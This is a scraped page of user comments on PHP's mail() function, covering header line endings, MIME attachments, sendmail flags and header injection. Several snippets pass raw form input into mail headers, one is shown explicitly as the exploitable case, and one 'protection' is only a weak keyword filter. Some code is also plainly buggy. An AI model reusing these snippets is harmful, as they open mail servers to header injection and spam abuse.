$headers = 'From: You <you@example.com>' . "\n";
$headers .= 'MIME-Version: 1.0' . "\n";
$headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n";
?>

Notice that the From is before the MIME and Content and only Content ends with "\r\n", the other are just "\n"

Not sure how it is possible for other scripts on the same server, same domain to work fine as shown in the very top instructions, and others need this crap... I spent a very frustrating couple hours figuring this out, hope you can avoid doing the same.
arunm 14-Sep-2011 02:24
It is also advisable to set the return path in the headers; hence it will avoid the email to land in the spam folder!
eg:

$headers.="Return-Path:<name@example.com>\r\n";
Anda 05-Sep-2011 08:57
Send Multi attachment email

<?php
function multi_attach_mail($to, $files, $sendermail){
    // email fields: to, from, subject, and so on
    $from = "Files attach <".$sendermail.">";
    $subject = date("d.M H:i")." F=".count($files);
    $message = date("Y.m.d H:i:s")."\n".count($files)." attachments";
    $headers = "From: $from";

    // boundary
    $semi_rand = md5(time());
    $mime_boundary = "==Multipart_Boundary_x{$semi_rand}x";

    // headers for attachment
    $headers .= "\nMIME-Version: 1.0\n" . "Content-Type: multipart/mixed;\n" . " boundary=\"{$mime_boundary}\"";

    // multipart boundary
    $message = "--{$mime_boundary}\n" . "Content-Type: text/plain; charset=\"iso-8859-1\"\n" .
    "Content-Transfer-Encoding: 7bit\n\n" . $message . "\n\n";

    // preparing attachments
    for($i=0;$i<count($files);$i++){
        if(is_file($files[$i])){
            $message .= "--{$mime_boundary}\n";
            $fp =    @fopen($files[$i],"rb");
        $data =    @fread($fp,filesize($files[$i]));
                    @fclose($fp);
            $data = chunk_split(base64_encode($data));
            $message .= "Content-Type: application/octet-stream; name=\"".basename($files[$i])."\"\n" .
            "Content-Description: ".basename($files[$i])."\n" .
            "Content-Disposition: attachment;\n" . " filename=\"".basename($files[$i])."\"; size=".filesize($files[$i]).";\n" .
            "Content-Transfer-Encoding: base64\n\n" . $data . "\n\n";
            }
        }
    $message .= "--{$mime_boundary}--";
    $returnpath = "-f" . $sendermail;
    $ok = @mail($to, $subject, $message, $headers, $returnpath);
    if($ok){ return $i; } else { return 0; }
    }
?>
epheterson at gmail dot com 16-Aug-2011 07:48
After banging my head against the wall, I realized after my host updated PHP that the From line in the header requires quotes around the name where before it worked regardless. Otherwise it will report success, and not sent.

$headers .= 'From: "'. $Name . '" <' . $Email . '>' . "\r\n";
krzysiek dot 333 at gmail dot com 03-Aug-2011 08:24
Sending messages with polish special characters:
<?php
function plmail($mail, $sub, $mes){
    $headers = "From: ExRobot <robot@example.com>\r\n";
    $headers .= "MIME-Version: 1.0\r\n";
    $headers .= "Content-type: text/plain; charset=utf-8\r\n";
    $headers .="Content-Transfer-Encoding: 8bit";

    $mes=htmlspecialchars_decode($mes,ENT_QUOTES);//optional - I use encoding to POST data
    mail($mail, "=?utf-8?B?".base64_encode($sub)."?=", $mes, $headers);
}
?>
Page must be in utf-8 encoding.
mulllhausen 18-Jul-2011 07:14
i found that emails were not getting sent when i specified multiple recipients separated by commas in the $to variable.

however i did find that i could specify multiple recipients using the the 'To: ' header. i am using php cli on ubuntu 10.04.1 lts.

hopefully this is useful to someone
me at arronwoods dot com 24-Jun-2011 04:42
I've had all sorts of problems with scripts that don't set the "-f user@example.org" parameter when using mail() if postfix is the sendmail agent.

In postfix I had SMTP relay authentication based on the sender address, but it was always the PHP user as the sender until I adapted the code from:

<?php mail('test@example.org', 'Subject', 'Body', 'From: user@example.org'); ?>

to:

<?php mail('test@example.org', 'Subject', 'Body', 'From: user@example.org', '-f user@example.org'); ?>

I couldn't find a way to adjust PHP or Postfix to do this for me, so I had to edit the application. I was actually using Zend_Mail_Transport_Smtp, which made it that little bit trickier. I ended up with this:

<?php

class My_Mail_Transport_Sendmail extends Zend_Mail_Transport_Sendmail {

    public function _sendMail() {
        if ($this->parameters === null) {
            $this->parameters = '-f ' . $this->_mail->getFrom();
        }

        return parent::_sendMail();
    }

}
?>
vigo dot von dot harrach at gmx dot de 19-May-2011 11:49
If using sendmail as transport agent, setting the "DeliveryMode" to "background" (asynchronous) instead of the default "interactive" (synchronous) makes mail() a lot faster, while still sending immediately.
You can either use the "additional parameters", e.g. mail($to, $subject, $message, $headers, 'O DeliveryMode=b'), or make this mode default by changing php.ini's "sendmail_path" to 'sendmail -t -i -O DeliveryMode=b'.
buraks78 at gmail dot com 08-May-2011 04:02
If you are having problems changing the Sender and Return-Path headers, make sure that you are editing the right configuration file. On my CentOS 5.6:

[root@server mail]# ll /usr/sbin/sendmail
lrwxrwxrwx 1 root root 21 Oct 26  2009 /usr/sbin/sendmail -> /etc/alternatives/mta
[root@server mail]# ll /etc/alternatives/mta
lrwxrwxrwx 1 root root 23 Apr  9 07:48 /etc/alternatives/mta -> /usr/sbin/sendmail.exim
[root@server mail]# ll /usr/sbin/sendmail.exim
lrwxrwxrwx 1 root root 4 Apr  9 07:45 /usr/sbin/sendmail.exim -> exim

I spent some time trying to figure out why my changes to the sendmail.mc file were being ignored. Naturally, Exim configuration is different than Sendmail. You need to edit the /etc/exim/exim.conf file instead:

remote_smtp:
  driver = smtp
  return_path = bounce@example.com
  headers_rewrite = apache@* info@example.com s

^ Don't forget the "s" at the end. See this page for more information: http://www.exim.org/exim-html-2.00/doc/html/spec_32.html#SEC669

If you are OK with displaying the apache user name (ie "Sender: apache@subdomain.example.com") in the email header, then just update the qualify_domain configuration option in the same file.

qualify_domain = example.com

This will fix the domain only (ie "Sender: apache@example.com").
shuitest at gmail dot com 03-Nov-2010 06:50
If you use mutt, do as below,

/usr/bin/mutt -s '$subject' -f /dev/null -e 'set copy=no' -e 'set from = "{$GLOBALS[cfg][email_from]}"' -a '$attach_file_full_path' '{$GLOBALS[cfg][email_to]}' </dev/null 2>&1;
Michiel Uitdehaag 30-Sep-2010 10:07
We had a LAMP setting with postfix as mail system. Our additional headers were not interpreted correctly by a receiving mailserver (Exchange/ENOD32) and a newline was inserted after the first additional header.

It turns out that a internet/dos style newline (\r\n) in the headers were converted to \r\r\n (ie: something mindlessly replaced all \n with \r\n without seeing if \n was already preceded by \r)

I don't know if this is something in PHP or postfix, but seeing the comments below I suspect it is something of PHP on *NIX in combination with non-sendmail mailers.

So, use your 'local' newline style for additional headers, as opposed to the examples above.

I don't know if this is a bug anywhere. I don't know which element exactly does the unix2dos translation. If it is PHP, it should only replace ([^\r])\n  with \1\r\n
phadley at reliableid dot com 12-Aug-2010 03:20
The mail function will stop including headers if you misspell one of them.  It doesn't report an error, it just puts the offending header and all that follow it in the body of the message.  My great transgression was using MIME Version instead of MIME-Version, a lapse which cost me several hours.
Porjo 07-Jul-2010 08:19
Make sure you enclose \r\n in double quotes (not single quotes!) so that PHP can translate that into the correct linefeed code
umangberi at gmail dot com 02-May-2010 10:41
Outlook 2007 seemed to be a little finicky with me to have carriage returns in the headers. So any \r\n resulted in messages that had default apache messages sent over to me.

As soon as I removed \r from all of the headers, the script started working fine. Hope that helped.
matthew dot mckay at uwrf dot edu 17-Feb-2010 10:57
Note: On some windows platforms this is NOT thread safe.
We are having email message bodies being sent out to the wrong headers multiple times, some failing to send, and other bizarre stuff. If you google search for "php mail thread safe" you can find a ton of relevant information.
This is not a bug in php, there have been multiple bugs closed with this issue being dismissed as not an issue with PHP.
rch+php at online dot lt 02-Jan-2010 10:46
RFC-2822 is quite explicit, that "Though some message   systems locally store messages in this format (which eliminates the need for translation between formats) and others use formats that differ from the one specified in this standard, local storage is outside of the scope of this standard."

And it is not just "some", but most Unix mailers choke when you try pipe CRLF instead of Unix line endings to "sendmail" command.  PHP is using line endings as is, so you have better chances for success if you use Unix file format or line endings.
Alex M. 23-Nov-2009 08:49
It is important to filter the form input to prevent header injection. Here is a simple way:

<?php
# Anti-header-injection - Use before mail()
# By Victor Benincasa <vbenincasa(AT)gmail.com>

foreach($_REQUEST as $fields => $value) if(eregi("TO:", $value) || eregi("CC:", $value) || eregi("CCO:", $value) || eregi("Content-Type", $value)) exit("ERROR: Code injection attempt denied! Please don't use the following sequences in your message: 'TO:', 'CC:', 'CCO:' or 'Content-Type'.");
?>

--
Alex M.
Systemx 04-Nov-2009 11:29
Bare LFs in SMTP

Use This

<?php
// Fix any bare linefeeds in the message to make it RFC821 Compliant.
$message = preg_replace("#(?<!\r)\n#si", "\r\n", $message);

// Make sure there are no bare linefeeds in the headers
$headers = preg_replace('#(?<!\r)\n#si', "\r\n", $headers);
?>
John 20-Oct-2009 08:38
A quick note about the optional flags that can be passed to sendmail. -f will set the From address, -r will override the default Return-path that sendmail generates (typically the From address gets used). If you want your bouncebacks to go to a different address than the from address, try using both flags at once: "-f myfromemail@example.com -r mybounceemail@example.com"
dtbaker.com.au 11-Oct-2009 05:59
An observation about safe_mode and mail()

It looks like multiple \r\n's are replaced by a single \r\n inside the string passed to "additional_headers". I can only re-produce this on a box running with safe_mode enabled.

If (for some reason) your script crafts the entire email message in the headers, this will most likely produce a blank email on safe_mode boxes (like this script I've been trying to get working).
Maven1 at example dot com 09-Oct-2009 10:28
I was having trouble with the newline and carriage return characters when using the mail function in a custom script within Joomla since the stupid input validations kept stripping them (changed "/r/n" to "rn").

To get around this, I used chr(13) and chr(10) to insert them.

<?php

$headers .= 'To: Mary <mary@example.com>, Kelly <kelly@example.com>' . chr(13) . chr(10);
$headers .= 'From: Birthday Reminder <birthday@example.com>' . chr(13) . chr(10);

?>

Hope that helps someone.
Clayton Ginsburg 18-Aug-2009 09:38
I recently had an issue where the mail() function would work fine from the php cli but not from apache.

I eventually traced this down to the fact that I was using apparmor

Specifically, I configured apparmor to deny the apache user the ability to use /bin/dash

After changing apparmor to /bin/dash rix
and reloading the apparmor profile, mail worked

In other words, mail requires the account/program executing the script to be able to use /bin/dash

I hope this helps someone
Tomer 03-Aug-2009 08:31
I was trying to create a script that would send large forms without having to get/post each value first and came up with this... should help someone to save valuable time.

<?php
$emailSentTo = "";
$subjectOfEmail = "";

//========= no need to edit bellow

// Set HTML Mail Header
$headers  = 'MIME-Version: 1.0' . "\r\n";
$headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n";

// The Message
$message = $GLOBALS["HTTP_SERVER_VARS"]["REQUEST_URI"];

//Cleaning Message
$message = str_replace('?','<br><hr>',str_replace('/','File used for submittimg this form: ',str_replace('=',': ',str_replace('&','<br>',$message))));

// Sending
mail($emailSentTo, $subjectOfEmail, $message, $headers);

//Thanking
echo "<script language=\"javascript\" type=\"text/javascript\">
alert('Thank You, We will contact you shortly.');
window.location = \"http://$_SERVER[HTTP_HOST]\";
</script>
";
?>
Edward 01-Aug-2009 11:08
Currently my hosting service is on Godaddy. When attempting to use the mail function without the fifth parameter containing "-f", my message headers would not work.

Whenever your message headers do not work, simply try using the fifth parameter:

<?php
mail($to, $subject, $message, $headers, "-femail.address@example.com");
?>
php at caves dot org dot uk 28-Jul-2009 04:32
Setting an envelope-sender address avoids mail bounces annoying your system administrator.

If your mail cannot be delivered, it will be rejected to the address specified as the "SMTP-envelope-from" (or the "envelope sender" or "return path", depending on the terminology you like to use )

If you do not explicitly set an envelope-from address then PHP will default to the php.ini setting which - if you have not set this yourself - could be nobody@[your-ISP-domain] or anonymous@[your-ISP-domain], for example.

To avoid bothering the person at that address - or indeed, if you are wondering why you are not receiving mail rejections yourself - you should use the "-f" option in the <$additional_parameters> argument to set a valid address.

(and, by the way: If you do this, but you do not set a From: address in the <$additional_headers> argument then PHP will set a default From: address of "From: Nobody <your-envelope-sender-setting>". ).
Anonymous 03-Jul-2009 06:22
I was (finally) able to get multipart HTML mail working.
The 'boundary' must be defined with double quotes, not apostrophes.

$headers .= "Content-Type: multipart/alternative;boundary=\"$boundary\";\n\n";
d dot r at usask dot ca 05-Jun-2009 06:44
The example indicates \r\n at the end of each line in the headers but this was causing me problems as emails showed some of the headers as part of the body.  I simply used only \n as in some of the other examples and the problem went away.
marcel dot portela at gmail dot com 22-May-2009 07:32
To define a mail priority you have to put this lines in the headers:

<?php
        $headers = "MIME-Version: 1.0\n" ;
        $headers .= "Content-Type: text/html; charset=\"iso-8859-1\"\n";
        $headers .= "X-Priority: 1 (Higuest)\n";
        $headers .= "X-MSMail-Priority: High\n";
        $headers .= "Importance: High\n";

 $status   = mail($to, $subject, $message,$headers);
?>

Here i've added many headers information including the Priority...
aldertb at XS4ALL dot nl 23-Mar-2009 10:30
I experienced problems with removed euro signs and some other accented letters. The text came from a DB but contained the euro sign etcetera inside the mail function, just as when you would define it as a string. (Did die($newsletter['message']). It was lost in the mail I received though! When I defined the message as a string inside the sending function (overriding text from DB), including euro sign as a single character, I DID receive the email including euro sign!

This was experienced on 2 different email accounts. With one I received no text after the euro sign.

But only when text came from mySQL DB from a longtext Latin1-field...

I installed the pear mail class and this solved the strange problem and could just send text from the DB...
alex_ramos at sourceforge dot net 27-Feb-2009 04:37
Beware if you're trying to use "-f" or "-r" with the 5th parameter of the PHP mail() function, and you're relying on a plain vanilla install of sendmail on Linux, it won't work. You'll have to either change the sendmail config and add your script's userid to "trusted-users" (easier said than done... good luck with that!), or, remove sendmail and install postfix (much easier).
Erich at gasboysnospam dot net 19-Feb-2009 04:43
if your mail is failing (returns false) be aware that many servers are configured to kill mail going out with a bcc or cc header.

The ideal workaround is to use the smtp functions which servers allow because of its better audit trail. Alternatively call the mail function several times.

I've just spent about four hours trying to work out what I was doing wrong!!
orjtor 19-Jan-2009 09:17
This is my solution of problems with Windows Mail on Vista. I got some of the headers in the mail body as plain text. When I removed '\r' and left just '\n' at the end of the two last lines of header it worked. This error didn't show up in my yahoo mail.
<?php
    $body = "<html>\n";
    $body .= "<body style=\"font-family:Verdana, Verdana, Geneva, sans-serif; font-size:12px; color:#666666;\">\n";
    $body = $message;
    $body .= "</body>\n";
    $body .= "</html>\n";

    $headers  = "From: My site<noreply@example.com>\r\n";
    $headers .= "Reply-To: info@example.com\r\n";
    $headers .= "Return-Path: info@example.com\r\n";
    $headers .= "X-Mailer: Drupal\n";
    $headers .= 'MIME-Version: 1.0' . "\n";
    $headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n";

    return mail($recipient, $subject, $message, $headers);
?>
php at ontheroad dot net dot nz 04-Nov-2008 06:00
Another possible cause for the "501 5.5.4 Invalid Address" type errors when sending mail from Windows is specifying BCC or CC parameters with no value.
molotster on google mail com 13-Oct-2008 10:03
Note, that single line should not contain more than 78 character, but is not allowed to contain more than 998 characters.

The possible consequences are:
Over 78 - clients are allowed to display the message in a "harder to read" way.
Over 998 - clients and servers are allowed to drop the message or cause any buffer-limit error.

See:
http://www.faqs.org/rfcs/rfc2822 part 2.1.1.
webmaster at plumage dot nl 01-Sep-2008 11:53
The work-around for a large quantity of recipients is putting the adresses in the header-section as Bcc adresses.
In this way the mail()-function opens and closes the SMTP connection only once:

<?php
$count_recip= count($recip);//where $recip represents an array of mail-adresses, from MySql-query or otherwise
$count='0';
$headers.="Bcc: ";
while($count < $count_recip){
$headers.=$recip[$count].", ";
$count ++;
}
$headers.="admin@example.com\r\n";
?>
bob 15-Jul-2008 10:51
If the Cc or Bcc lines appear in the message body, make sure you're separating header lines with a new line (\n) rather than a carriage return-new line (\r\n). That should come at the very end of the headers.
akam 28-May-2008 03:55
There differenece in body, headers of email (with attachment, without attachment), see this complete example below:
work great for me (LINUX , WIN) and (Yahoo Mail, Hotmail, Gmail, ...)
<?php
$to      = $_POST['to'];
$email   = $_POST['email'];
$name    = $_POST['name'];
$subject = $_POST['subject'];
$comment = $_POST['message'];

$To          = strip_tags($to);
$TextMessage =strip_tags(nl2br($comment),"<br>");
$HTMLMessage =nl2br($comment);
$FromName    =strip_tags($name);
$FromEmail   =strip_tags($email);
$Subject     =strip_tags($subject);

$boundary1   =rand(0,9)."-"
.rand(10000000000,9999999999)."-"
.rand(10000000000,9999999999)."=:"
.rand(10000,99999);
$boundary2   =rand(0,9)."-".rand(10000000000,9999999999)."-"
.rand(10000000000,9999999999)."=:"
.rand(10000,99999);

for($i=0; $i < count($_FILES['youfile']['name']); $i++){
if(is_uploaded_file($_FILES['fileatt']['tmp_name'][$i]) &&
   !empty($_FILES['fileatt']['size'][$i]) &&
   !empty($_FILES['fileatt']['name'][$i])){

$attach      ='yes';
$end         ='';

   $handle      =fopen($_FILES['fileatt']['tmp_name'][$i], 'rb');
   $f_contents  =fread($handle, $_FILES['fileatt']['size'][$i]);
   $attachment[]=chunk_split(base64_encode($f_contents));
   fclose($handle);

$ftype[]       =$_FILES['fileatt']['type'][$i];
$fname[]       =$_FILES['fileatt']['name'][$i];
}
}

/***************************************************************
 Creating Email: Headers, BODY
 1- HTML Email WIthout Attachment!! <<-------- H T M L ---------
 ***************************************************************/
#---->Headers Part
$Headers     =<<<AKAM
From: $FromName <$FromEmail>
Reply-To: $FromEmail
MIME-Version: 1.0
Content-Type: multipart/alternative;
    boundary="$boundary1"
AKAM;

#---->BODY Part
$Body        =<<<AKAM
MIME-Version: 1.0
Content-Type: multipart/alternative;
    boundary="$boundary1"

This is a multi-part message in MIME format.

--$boundary1
Content-Type: text/plain;
    charset="windows-1256"
Content-Transfer-Encoding: quoted-printable

$TextMessage
--$boundary1
Content-Type: text/html;
    charset="windows-1256"
Content-Transfer-Encoding: quoted-printable

$HTMLMessage

--$boundary1--
AKAM;

/***************************************************************
 2- HTML Email WIth Multiple Attachment <<----- Attachment ------
 ***************************************************************/

if($attach=='yes') {

$attachments='';
$Headers     =<<<AKAM
From: $FromName <$FromEmail>
Reply-To: $FromEmail
MIME-Version: 1.0
Content-Type: multipart/mixed;
    boundary="$boundary1"
AKAM;

for($j=0;$j<count($ftype); $j++){
$attachments.=<<<ATTA
--$boundary1
Content-Type: $ftype[$j];
    name="$fname[$i]"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
    filename="$fname[$j]"

$attachment[$j]

ATTA;
}

$Body        =<<<AKAM
This is a multi-part message in MIME format.

--$boundary1
Content-Type: multipart/alternative;
    boundary="$boundary2"

--$boundary2
Content-Type: text/plain;
    charset="windows-1256"
Content-Transfer-Encoding: quoted-printable

$TextMessage
--$boundary2
Content-Type: text/html;
    charset="windows-1256"
Content-Transfer-Encoding: quoted-printable

$HTMLMessage

--$boundary2--

$attachments
--$boundary1--
AKAM;
}

/***************************************************************
 Sending Email
 ***************************************************************/
$ok=mail($To, $Subject, $Body, $Headers);
echo $ok?"<h1> Mail Sent</h1>":"<h1> Mail not SEND</h1>";
?>
richard at richard-sumilang dot com 22-Mar-2008 09:12
If you are using the sendmail app from an exim package or something you don't really need to change the normal parameters PHP gives it (-t -i) as other posts described.

I just added "-f myemail@example.com" and it worked.

One thing that got me stuck for a few hours was trying to figure out why the return-path was set as the user (user running php) and not what I was setting it with the -f option then I later found at that in order to forcefully set the return-path the user account running the command must be in exim's trusted users configuration! It helps to add trusted_groups as well then everything works fine :)
- Richard Sumilang
mortoray at ecircle-ag dot com 10-Jan-2008 04:35
Apparently if using the mbstring library, and using overriden functions, the "mail" command appears to use "Content-Transfer-Encoding: BASE64" by default.  Which if you combine it with PEAR Mail_Mime you'll get mails that, although they appear RFC compliant, not mailer can read correctly.

To fix this it appears you should add a fixed header in the mail command (this one assumes the pear mime module is 7bit clean, perhaps 8bit would also be fine)

<?php $headers['Content-Transfer-Encoding'] = '7bit'; ?>
phpcoder at cyberpimp dot ig3 dot net 27-Sep-2007 05:51
In addition to the $to parameter restrictions on Windows (ie. address can not be in "name <user@example.com>" format), the same restrictions apply to the parsed Cc and Bcc headers of the $additional_headers parameter.

However, you can include a To header in $additional_parameters which lists the addresses in any RFC-2822 format.  (For display purposes only.  You still need to list the bare addresses in the $to parameter.)
Gianluigi_Zanettini-MegaLab.it 10-Aug-2007 08:57
Please note that using an address in this format "Zane, CEO - MegaLab.it" <myaddrr@mydomain> (" are needed due to comma) works as expected under *nix, but WON'T WORK under Windows.

This is an example

<?php
mail("\"Zane, CEO - MegaLab.it\" <myaddrr@mydomain>", "prova da test_zane", "dai funziona...");
?>

It works under *unix, but it doensn't under Win: different error are reported:

Warning: mail() [function.mail]: SMTP server response: 553 5.0.0 <"Zane>... Unbalanced '"'

Warning: mail() [function.mail]: SMTP server response: 501 5.5.4 Invalid Address
Alex Jaspersen 31-May-2007 08:03
For qmail users, I have written a function that talks directly to qmail-queue, rather than going through the sendmail wrapper used by mail(). Thus it allows more direct control over the message (for example, you can adapt the function to display "undisclosed recipients" in to the To: header). It also performs careful validation of the e-mail addresses passed to it, making it more difficult for spammers to exploit your scripts.

Please note that this function differs from the mail() function in that the from address must be passed as a _separate_ argument. It is automatically put into the message headers and _does not_ need to be included in $additional_headers.

$to can either be an array or a single address contained in a string.
$message should not contain any carriage return characters - only linefeeds.

No validation is performed on $additional_headers. This is mostly unnecessary because qmail will ignore any additional To: headers injected by a malicious user. However if you have some strange mail setup it might be a problem.

The function returns false if the message fails validation or is rejected by qmail-queue, and returns true on success.

<?php
function qmail_queue($to, $from, $subject, $message, $additional_headers = "")
{
    // qmail-queue location and hostname used for Message-Id
    $cmd = "/var/qmail/bin/qmail-queue";
    $hostname = trim(file_get_contents("/var/qmail/control/me"));

    // convert $to into an array
    if(is_scalar($to))
        $to = array($to);

    // BEGIN VALIDATION
    // e-mail address validation
    $e = "/^[-+\\.0-9=a-z_]+@([-0-9a-z]+\\.)+([0-9a-z]){2,4}$/i";
    // from address
    if(!preg_match($e, $from)) return false;
    // to address(es)
    foreach($to as $rcpt)
    {
        if(!preg_match($e, $rcpt)) return false;
    }

    // subject validation (only printable 7-bit ascii characters allowed)
    // needs to be adapted to allow for foreign languages with 8-bit characters
    if(!preg_match("/^[\\040-\\176]+$/", $subject)) return false;

    // END VALIDATION

    // open qmail-queue process
    $dspec = array
    (
        array("pipe", "r"), // message descriptor
        array("pipe", "r") // envelope descriptor
    );
    $pipes = array();
    $proc = proc_open($cmd, $dspec, $pipes);
    if(!is_resource($proc)) return false;

    // write additional headers
    if(!empty($additional_headers))
    {
        fwrite($pipes[0], $additional_headers . "\n");
    }

    // write to/from/subject/date/message-ID headers
    fwrite($pipes[0], "To: " . $to[0]); // first recipient
    for($i = 1; $i < sizeof($to); $i++) // additional recipients
    {
        fwrite($pipes[0], ", " . $to[$i]);
    }
    fwrite($pipes[0], "\nSubject: " . $subject . "\n");
    fwrite($pipes[0], "From: " . $from . "\n");
    fwrite($pipes[0], "Message-Id: <" . md5(uniqid(microtime())) . "@" . $hostname . ">\n");
    fwrite($pipes[0], "Date: " . date("r") . "\n\n");
    fwrite($pipes[0], $message);
    fwrite($pipes[0], "\n");
    fclose($pipes[0]);

    // write from address and recipients
    fwrite($pipes[1], "F" . $from . "\0");
    foreach($to as $rcpt)
    {
        fwrite($pipes[1], "T" . $rcpt . "\0");
    }
    fwrite($pipes[1], "\0");
    fclose($pipes[1]);

    // return true on success.
    return proc_close($proc) == 0;
}
?>
Josh 09-Mar-2007 07:05
While trying to send attachments I ran into the problem of having the beginning part of my encoded data being cut off.

A fact that I didn't see mentioned anywhere explicitly (except maybe in the RFC, which admittedly I didn't read fully) was that two newlines are required before you start the encoded data:

Content-Transfer-Encoding: base64\n
Content-Type: application/zip; name="test_file.zip"\n
\n  //<--- if this newline isn't here your data will get cut off
DATA GOES HERE
bigtree at dontspam dot 29a dot nl 28-Feb-2007 01:46
Since lines in $additional_headers must be separated by \n on Unix and \r\n on Windows, it might be useful to use the PHP_EOL constant which contains the correct value on either platform.

Note that this variable was introduced in PHP 5.0.2 so to write portable code that also works in PHP versions before that, use the following code to make sure it exists:

<?php
if (!defined('PHP_EOL')) define ('PHP_EOL', strtoupper(substr(PHP_OS,0,3) == 'WIN') ? "\r\n" : "\n");
?>
admin at chatfamy dot com 30-Jan-2007 09:37
One thing it can be difficult to control with this function is the envelope "from" address. The envelope "from" address is distinct from the address that appears in the "From:" header of the email. It is what sendmail uses in its "MAIL FROM/RCPT TO" exchange with the receiving mail server. It also typically shows up in the "Return-Path:" header, but this need not be the case. The whole reason it is called an "envelope" address is that appears _outside_ of the message header and body, in the raw SMTP exchange between mail servers.

The default envelope "from" address on unix depends on what sendmail implementation you are using. But typically it will be set to the username of the running process followed by "@" and the hostname of the machine. In a typical configuration this will look something like apache@box17.example.net.

If your emails are being rejected by receiving mail servers, or if you need to change what address bounce emails are sent to, you can change the envelope "from" address to solve your problems.

To change the envelope "from" address on unix, you specify an "-r" option to your sendmail binary. You can do this globally in php.ini by adding the "-r" option to the "sendmail_path" command line. You can also do it programmatically from within PHP by passing "-r address@example.com" as the "additional_parameters" argument to the mail() function (the 5th argument). If you specify an address both places, the sendmail binary will be called with two "-r" options, which may have undefined behavior depending on your sendmail implementation. With the Postfix MTA, later "-r" options silently override earlier options, making it possible to set a global default and still get sensible behavior when you try to override it locally.

On Windows, the the situation is a lot simpler. The envelope "from" address there is just the value of "sendmail_from" in the php.ini file. You can override it locally with ini_set().
tdaniel at univ dot haifa dot ac dot il 26-Oct-2006 01:17
I had trouble getting multiple emails sent for Outlook accounts (a single PHP page performed 2 mail() calls).

The PHP mail() function works correctly, but the same mails that were recieved on a private POP3 server were randomly missing by our intranet Outlook exchange server.

If you have the same problem, try to verify that the "Message-ID: " is unique at the $headers string. i.e.

<?php
$headers = [...] .
"Message-ID: <". time() .rand(1,1000). "@".$_SERVER['SERVER_NAME'].">". "\r\n" [...];
?>

(rand() is used only for demonstration purposes. a better way is to use an index variable that increments (i++) after each mail)

I noticed that when multiple messeges were sent simultaneously, the message-id was the same (probably there was no miliseconds differential). My guess is that Outlook is collating messages with the same message-ID; a thing that causes only one email to pass to the Outlook inbox instead of a few.
johniskew2 19-Sep-2006 06:28
An important rule of thumb, because it seems few really follow it and it can alleviate so many headaches: When filtering your email headers for injection characters use a regular expression to judge whether the user's input is valid.  For example to see if the user entered a valid e-mail address use something like  [a-zA-Z0-9._%-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,4}.  Dont try to filter out bad characters (like searching for LF or CR), because you will ALWAYS miss something.  You can be sure your application is more secure going this route....provided the regular expression is valid!  This same point goes for any sort of form input not just for sending out emails.
thomas at p-devion dot de 24-Aug-2006 07:46
Change the function addattachment for multipartmail to auto detect the mime_content_type ...

<?php
     function addattachment($file){
         $fname = substr(strrchr($file, "/"), 1);
         $data = file_get_contents($file);
         $i = count($this->parts);
         $content_id = "part$i." . sprintf("%09d", crc32($fname)) . strrchr($this->to_address, "@");
         $this->parts[$i] = "Content-Type: ".mime_content_type($file)."; name=\"$fname\"\r\n" .
                           "Content-Transfer-Encoding: base64\r\n" .
                           "Content-ID: <$content_id>\r\n" .
                           "Content-Disposition: inline;\n" .
                           " filename=\"$fname\"\r\n" .
                           "\n" .
                           chunk_split( base64_encode($data), 68, "\n");
         return $content_id;
     }
?>
panoramical at gmail dot com 28-Jul-2006 01:19
Searched for ages on the internet trying to find something that parses EML files and then sends them...for all of you who want to send an EML files you first have to upload it, read it, then delete it. Here's my function...it's specialised for a single form where the user uploads the EML file.

<?php

if(isset($_POST['submit']))
{

// Reads in a file (eml) a user has inputted
function eml_read_in()
{

    $file_ext = stristr($_FILES['upload']['name'], '.');

    // If it is an eml file
    if($file_ext == '.eml')
    {

        // Define vars
        $dir = 'eml/';
        $file = $dir.basename($_FILES['upload']['name']);
        $carry = 'yes';

        // Try and upload the file
        if(move_uploaded_file($_FILES['upload']['tmp_name'], $file))
        {

            // Now attempt to read the file
            if($eml_file = file($file))
            {

                // Create the array to store preliminary headers
                $headers = array();
                $body = '';
                $ii = -1;

                // For every line, carry out this loop
                foreach($eml_file as $key => $value)
                {

                    $pattern = '^<html>';

                    if(((eregi($pattern, $value)))||($carry == 'no'))
                    {

                        // Stop putting data into the $headers array
                        $carry = 'no';
                        $i++;
                        $body .= $value;

                    }

                    else
                    {

                        // Separate each one with a colon
                        if(($eml_file_expl = explode(':', $value))&&($carry == 'yes'))
                        {

                            // The row has been split in half at least...
                            if(isset($eml_file_expl[1]))
                            {

                                // Put it into the preliminary headers
                                $headers[$eml_file_expl[0]] = $eml_file_expl[1];

                                // There might be more semicolons in it...
                                for($i=2;$i<=$count;$i++)
                                {

                                    // Add the other values to the header
                                    $headers[$eml_file_expl[0]] .= ':'.$eml_file_expl[$i];

                                }

                            }

                        }

                    }

                }

                // Clear up the headers array
                $eml_values = array();
                $eml_values[to] = $headers[To];
                $eml_values[from] = $headers[From];
                $eml_values[subject] = $headers[Subject];
                $eml_values['reply-to'] = $headers['Reply-To'];
                $eml_values['content-type'] = $headers['Content-Type'];
                $eml_values[body] = $body;

                unlink($file);

                return $eml_values;

            }

        }

        else
        {

            return '<p>File not uploaded - there was an error</p>';

        }

    }

}

// Takes information automatically from the $_FILES array...
$eml_pattern = eml_read_in()

// Headers definable...through eml_read_in() again, but I'm guessing they'll be the same for each doc...

if(mail($eml_pattern[to], $eml_pattern[subject], $eml_pattern[content], $headers)) echo 'Mail Sent';

?>
24-Jul-2006 05:55
correction for class multipartmail

<?php
function addmessage($msg = "", $ctype = "text/plain"){
         $this->parts[0] ....
?>

if you are adding attachment first and then addmessage you can easy overwrite added attachment - better use

<?php

function addmessage($msg = "", $ctype = "text/plain"){
         $this->parts[count($this->parts)] ....

?>
sander at cartel dot nl 20-Jul-2006 12:26
I found out that a ms server (ESMTP MAIL Service, Version: 5.0.2195.6713) also had the problem using CRLF in the headers:

If messages are not received, try using a LF (\n) only. Some poor quality Unix mail transfer agents replace LF by CRLF automatically (which leads to doubling CR if CRLF is used). This should be a last resort, as it does not comply with RFC 2822.

The suggested fix works.

Sander
Nimlhug 11-Mar-2006 07:41
As noted in other, well, notes; the "additional headers" parameter can be easily exploited, when doing things like:

<?php
  mail( $_POST['to'], $_POST['subject'], $_POST['message'], 'Reply-to: '.$_POST['from']."\r\n" );
?>

An easy way of fixing this, is removing CRLFs from the header-strings, like so:

<?php
  $_POST['from'] = str_replace( "\r\n", '', $_POST['from'] );
